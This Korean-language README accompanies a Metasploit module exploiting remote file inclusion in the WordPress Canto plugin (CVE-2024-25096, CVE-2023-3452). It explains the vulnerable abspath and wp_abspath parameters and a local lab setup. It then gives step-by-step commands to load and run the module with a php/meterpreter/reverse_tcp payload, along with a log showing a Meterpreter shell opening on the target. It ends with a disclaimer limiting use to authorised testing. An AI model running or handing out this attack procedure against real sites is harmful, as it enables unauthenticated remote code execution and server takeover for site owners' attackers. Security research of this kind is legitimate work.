
이것은 CVE-2024-25096 및 CVE-2023-3452를 위한 Metasploit 익스플로잇 모듈입니다.
이 익스플로잇은 CVE-2024-25096 및 CVE-2023-3452의 RFI 취약점에 대한 proof-of-work 익스플로잇으로, 공격자가 대상에서 대화형 원격 셸 세션을 설정할 수 있게 합니다.
CVE-2024-25096은 abspath 매개변수를 악용하여 include_once 문을 통해 원격 파일 포함을 가능하게 합니다. CVE-2023-3452는 동일한 절차를 따르지만, “wp_abspath” 매개변수가 requiere_once 문을 통해 원격 파일 포함을 허용합니다. 이를 통해 공격자는 대상 서버에서 인증 없이 코드를 실행할 수 있습니다.
취약점 데이터베이스는 CVE-2023-3452를 버전 3.0.4까지 영향이 있다고 나열하지만, 테스트 결과 이 취약점은 버전 3.0.6까지 여전히 악용 가능한 것으로 확인되었습니다. 해당 문제는 CVE-2024-25096을 수정하는 동일한 버전인 3.0.7에서 패치되었습니다.
대상이 취약하려면 다음 조건이 필요합니다:
allow_url_include=On이 리포지토리를 클론하고 canto 플러그인을 다운로드하세요.
이전 버전의 Canto를 다운로드하려면 링크를 복사한 뒤 링크의 버전 번호를 원하는 버전으로 변경하세요.
podman-compose up 명령어로 컨테이너(docker-compose.yaml)를 시작하세요.
선호하는 브라우저에서 http://localhost:8889/wp-admin/install.php를 열고 WordPress 계정을 설정하세요.

로그인 후, 플러그인 탭 -> 새 플러그인 추가 -> 플러그인 업로드에서 canto zip 파일을 선택하여 설치할 수 있습니다.

익스플로잇(rce_exploit_cve_2024_25096.rb)을 metasploit 모듈 폴더에 추가하세요.
Metasploit(msfconsole)을 시작하고 Metasploit을 다시 로드(reload_all)하세요.
페이로드를 선택하세요.
cp explit/wordpress_canto_plugin_file_include_rce.rb ~/.msf4/modules/exploits/
msfconsole
reload_all
search rce_exploit_cve_2024_25096
use 0
필요한 변수의 값을 설정하세요.
Module options (exploit/rce_exploit_cve_2024_25096):
이름 현재 설정 필수 설명
---- --------------- -------- -----------
Proxies 아니오 형식 type:host:port[,type:host:port][...]의 프록시 체인. 지원되는 프록시: sapni, socks4, socks5, http, socks5h
RHOSTS 127.0.0.1 예 대상 호스트, https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html 참조
RPORT 8889 예 포트
SRVHOST 0.0.0.0 예 수신 대기할 로컬 호스트 또는 네트워크 인터페이스. 로컬 머신의 주소이거나 0.0.0.0(모든 주소 수신)이어야 함
SRVPORT 8080 예 수신 대기할 로컬 포트
SSL false 예 SSL 사용
SSLCert 아니오 사용자 지정 SSL 인증서 경로 (기본값은 무작위 생성)
TARGETFILE get.php 예 취약한 PHP 파일
TARGETURI /wp-content/plugins/canto 예 canto 루트 디렉터리 경로
URIPATH 아니오 이 익스플로잇에 사용할 URI (기본값은 무작위)
VHOST 아니오 HTTP 서버 가상 호스트
페이로드 옵션 (php/meterpreter/reverse_tcp):
이름 현재 설정 필수 설명
---- --------------- -------- -----------
LHOST 192.168.178.58 예 수신 주소 (인터페이스 지정 가능)
LPORT 4444 예 수신 포트
익스플로잇 대상:
Id 이름
-- ----
0 WordPress 플러그인 <= 3.0.6
전체 모듈 정보는 info 또는 info -d 명령어로 확인하세요.
익스플로잇을 실행하고 최선을 바라세요 ;)
[msf](Jobs:0 Agents:0) exploit(rce_exploit_cve_2024_25096) >> run
[*] Started reverse TCP handler on 192.168.178.58:4444
[*] Starting HTTP server...
[*] Using URL: http://192.168.178.58:8080/14Gs3AAu8j4
[*] Triggering RFI...
[*] Sending admin.php payload
[*] Sending stage (42137 bytes) to 192.168.178.58
[*] Meterpreter session 2 opened (192.168.178.58:4444 -> 192.168.178.58:54310) at 2026-03-01 20:15:23 +0100
[*] Server stopped.
(Meterpreter 2)(/var/www/html/wp-content/plugins/canto/includes/lib) >
이 프로젝트는 교육 및 보안 연구 목적으로만 제공됩니다.
저자는 불법 활동을 장려하거나 용납하지 않습니다. 본 코드를 허가 없이 시스템을 공격하는 데 사용하는 것은 엄격히 금지됩니다.
저자는 이 소프트웨어의 오용이나 피해에 대해 책임을 지지 않습니다. 사용자는 모든 관련 법률 및 규정을 준수할 책임이 있습니다.
이 코드는 실습 환경, 침투 테스트 계약, 또는 보안 연구와 같이 명시적 허가가 있는 환경에서만 사용하세요.